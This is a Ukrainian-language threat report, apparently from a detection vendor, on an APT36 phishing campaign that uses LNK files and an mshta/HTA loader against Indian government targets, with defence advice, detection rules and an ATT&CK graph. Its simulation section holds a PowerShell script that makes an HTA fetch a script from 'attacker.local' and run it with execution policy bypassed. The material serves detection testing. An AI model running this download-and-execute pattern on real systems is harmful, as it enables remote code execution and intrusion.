APT36: Багатоступенева кампанія з використанням LNK-зловмисного ПЗ, спрямована на індійські урядові організації
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
APT36 (Transparent Tribe) провела фішингову кампанію з використанням шкідливого ярлика LNK, що маскувався під PDF. Після відкриття ярлик запускає mshta.exe для виконання завантажувача на основі HTA, що дешифрує та завантажує шкідливі компоненти в пам’ять, включаючи конфігураційний модуль та DLL з усіма функціями RAT. Шкідливе ПЗ динамічно вибирає методи постійного збереження на основі встановленого продукту антивірусного захисту жертви та підключається до сервера управління через зашифрований канал. Діяльність оцінюється як зосереджена на шпигунстві, націлена на індійські урядові та освітні організації для крадіжки даних.
Розслідування
Дослідники проаналізували незвично великий файл LNK, відслідкували вбудований HTA-контент, розміщений на innlive.in, і реверсували логіку дешифрування. Ланцюг розкрив два основних етапи: десеріалізований навантажувач .NET для послаблення або обходу перевірок безпеки, а також DLL-файл без завантаження на диск (напр. ki2mtmkl.dll / iinneldc.dll), що надає функціональність RAT. Поведінку постійності зіставлено з певними антивірусними продуктами, а ключові деталі C2, такі як TCP порт 8621 та AES ключ , що використовувався для зашифрованого трафіку, були вилучені під час аналізу.
Захист
Обмежте або карантинно відправляйте ярлики (.lnk), що пришли через електронну пошту, особливо якщо вони запаковані в ZIP-архіви. Застосуйте політики контролю застосунків для обмеження виконання mshta.exe, PowerShell та інших движків сценаріїв з шляхів, доступних для запису користувача. Використовуйте виявлення кінцевих точок для процесних ланцюгів, що включають mshta.exe та індикатори виконання DLL в пам’яті, і насильно вводьте суворі засоби контролю виведення для блокування зв’язку з невідомими або недовіреними доменами.
Відповідь
Якщо виявлено підозріле виконання LNK, ізолюйте систему, зробіть знімки пам’яті та проведіть пошук індикаторів DLL в пам’яті, пов’язаних з етапом RAT. Заблокуйте ідентифіковані шкідливі домени та відповідну інфраструктуру IP і обертайте потенційно скомпрометовані облікові дані. Проведіть судово-медичну перевірку, щоб знайти артефакти постійності у папці запуску та реєстрі, видаліть їх і підтвердьте, що ніякі додаткові домівки не залишилися.
“graph TB %% Class definitions classDef technique fill:#cfe2f3 %% Node definitions tech_T1566_001[“<b>Техніка</b> – <b>T1566.001</b> Фішинг: Спершинговий Вкладений Файл<br />Надіслати цільовий електронний лист зі шкідливим вкладенням”] class tech_T1566_001 technique tech_T1218_005[“<b>Техніка</b> – <b>T1218.005</b> Виконання від імені системи: Mshta<br />Виконати шкідливий HTA через mshta.exe”] class tech_T1218_005 technique tech_T1059_001[“<b>Техніка</b> – <b>T1059.001</b> PowerShell<br />Запустити команди PowerShell для завантаження пейлоаду”] class tech_T1059_001 technique tech_T1059_005[“<b>Техніка</b> – <b>T1059.005</b> Visual Basic<br />Виконати HTA скрипт використовуючи VBScript”] class tech_T1059_005 technique tech_T1027[“<b>Техніка</b> – <b>T1027</b> Зафасовані файли або інформація<br />Пейлоад закодований або зашифрований”] class tech_T1027 technique tech_T1055[“<b>Техніка</b> – <b>T1055</b> Інжекція в процес<br />Інжекція шкідливого DLL в легітимний процес”] class tech_T1055 technique tech_T1547_001[“<b>Техніка</b> – <b>T1547.001</b> Автоматичне виконання при завантаженні або вході в систему: Папка автозавантаження<br />Залишитися через ярлик в автозавантаженні”] class tech_T1547_001 technique tech_T1112[“<b>Техніка</b> – <b>T1112</b> Змінити реєстр<br />Додати ключі запуску для стійкості”] class tech_T1112 technique tech_T1036[“<b>Техніка</b> – <b>T1036</b> Маскування<br />LNK маскується під PDF”] class tech_T1036 technique tech_T1518_001[“<b>Техніка</b> – <b>T1518.001</b> Виявлення програмного забезпечення: Виявлення програм безпеки<br />Запит встановленого антивірусу”] class tech_T1518_001 technique tech_T1082[“<b>Техніка</b> – <b>T1082</b> Виявлення системної інформації<br />Зібрати ОС, ім’я користувача, тощо”] class tech_T1082 technique tech_T1057[“<b>Техніка</b> – <b>T1057</b> Виявлення процесу<br />Перерахувати процеси”] class tech_T1057 technique tech_T1083[“<b>Техніка</b> – <b>T1083</b> Виявлення файлів і каталогів<br />Шукати документи”] class tech_T1083 technique tech_T1115[“<b>Техніка</b> – <b>T1115</b> Дані з буфера обміну<br />Захопити буфер обміну”] class tech_T1115 technique tech_T1113[“<b>Техніка</b> – <b>T1113</b> Захоплення екрана<br />Захопити скріншоти”] class tech_T1113 technique tech_T1041[“<b>Техніка</b> – <b>T1041</b> Експільтрація через C2 канал<br />Експільтрувати дані через C2”] class tech_T1041 technique tech_T1573[“<b>Техніка</b> – <b>T1573</b> Зашифрований канал<br />Трафік C2 зашифрований”] class tech_T1573 technique %% Connections tech_T1566_001 u002du002d>|leads_to| tech_T1218_005 tech_T1218_005 u002du002d>|leads_to| tech_T1059_001 tech_T1218_005 u002du002d>|leads_to| tech_T1059_005 tech_T1059_001 u002du002d>|leads_to| tech_T1027 tech_T1027 u002du002d>|leads_to| tech_T1055 tech_T1055 u002du002d>|leads_to| tech_T1547_001 tech_T1547_001 u002du002d>|leads_to| tech_T1112 tech_T1218_005 u002du002d>|leads_to| tech_T1036 tech_T1036 u002du002d>|leads_to| tech_T1518_001 tech_T1518_001 u002du002d>|leads_to| tech_T1082 tech_T1082 u002du002d>|leads_to| tech_T1057 tech_T1057 u002du002d>|leads_to| tech_T1083 tech_T1083 u002du002d>|leads_to| tech_T1115 tech_T1083 u002du002d>|leads_to| tech_T1113 tech_T1115 u002du002d>|leads_to| tech_T1041 tech_T1113 u002du002d>|leads_to| tech_T1041 tech_T1055 u002du002d>|leads_to| tech_T1573 “
Поток атак
Детекції
Можливий Шкідливий Файл LNK з Подвійним Розширенням (через cmdline)
Переглянути
Підозріла Поведінка Уникнення Захисту LOLBAS MSHTA шляхом Виявлення Зв’язаних Команд (через process_creation)
Переглянути
Підозрілі Бінарні файли / Скрипти у Місці Автозапуску (через file_event)
Переглянути
Підозрілі Файли у Загальному Профілі Користувача (через file_event)
Переглянути
Підозріле Виконання з Загального Профілю Користувача (через process_creation)
Переглянути
IOC (SourceIP) для виявлення: APT36 : Багатоступенева Кампанія LNK для Ураження Індійських Державних Органів
Переглянути
IOC (HashSha256) для виявлення: APT36 : Багатоступенева Кампанія LNK для Ураження Індійських Державних Органів
Переглянути
IOC (DestinationIP) для виявлення: APT36 : Багатоступенева Кампанія LNK для ураження індійських державних органів
Переглянути
Виконання mshta.exe з PowerShell або CMD [Створення Процесу в Windows]
Переглянути
Виявлення Шкідливого Домену APT36 та Комунікацій C2 [Мережева З’єднання Windows]
Переглянути
Виявлення Жорстко закодованого AES ключа у Кампанії APT36 [Sysmon Windows]
Переглянути
Виконання Симуляції
Попередні вимоги: Перевірка Телеметрії та Базова Перевірка повинна бути успішною.
Мотивування: У цьому розділі детально описуються точні дії стратегії супротивника (TTP), розроблені для активації правила виявлення. Команди та наративи ПОВИННІ безпосередньо відображати визначені TTP і спрямовані на генерацію точної телеметрії, очікуваної логікою виявлення.
-
Описи Атак та Команди:
Супротивник отримав доступ з низькими привілеями через PowerShell на скомпрометованій робочій станції. Для виконання віддаленого навантаження без запису виконуваного файлу на диск, зловмисник використовуєmshta.exeдля запуску HTA-файлу, що завантажує бекдор PowerShell з сервера C2. Кроки такі:- Закодуйте мінімальний шкідливий HTA, що запускає PowerShell для завантаження та виконання навантаження.
- Розмістіть HTA на веб-сервері (наприклад,
http://attacker.local/malicious.hta). - З скомпрометованої сесії PowerShell викличте
mshta.exeз віддаленим URL-адресою як аргументом.
Цей ланцюг створює подію створення процесу , де
mshta.exeє дочірнім процесом дляpowershell.exe, точно відповідаючи правилу Sigma. -
Скрипт Регресійного Тестування:
#------------------------------------------------- # Симульований скрипт атакера – активує правило #------------------------------------------------- # 1. Визначте шкідливий HTA (вбудований для демонстраційних цілей) $htaContent = @" // Завантажити та виконати фіктивне навантаження PowerShell var url = 'http://attacker.local/payload.ps1'; var xhr = new ActiveXObject('Microsoft.XMLHTTP'); xhr.open('GET', url, false); xhr.send(); var ps = new ActiveXObject('WScript.Shell'); ps.Run('powershell -NoProfile -ExecutionPolicy Bypass -Command "' + xhr.responseText + '"', 0, false); "@ # 2. Запишіть HTA у тимчасове розташування (імітація розміщеного файлу) $tempPath = "$env:TEMPmalicious.hta" $htaContent | Set-Content -Path $tempPath -Encoding ASCII # 3. Запустіть mshta.exe з PowerShell (тригер виявлення) $mshta = (Get-Command mshta.exe).Source Write-Host "[*] Запуск mshta.exe для виконання HTA-навантаження..." Start-Process -FilePath $mshta -ArgumentList "`"$tempPath`"" -NoNewWindow # Опціонально: Сон для дозволу фіксації події Start-Sleep -Seconds 5 # Очищення (здійснюється у наступному розділі) -
Команди Очистки:
# Видалити тимчасовий файл HTA Remove-Item -Path "$env:TEMPmalicious.hta" -Force -ErrorAction SilentlyContinue # Зупинити всі залишкові процеси mshta.exe (малоймовірно після звичайного виконання) Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force Write-Host "[*] Очищення завершено."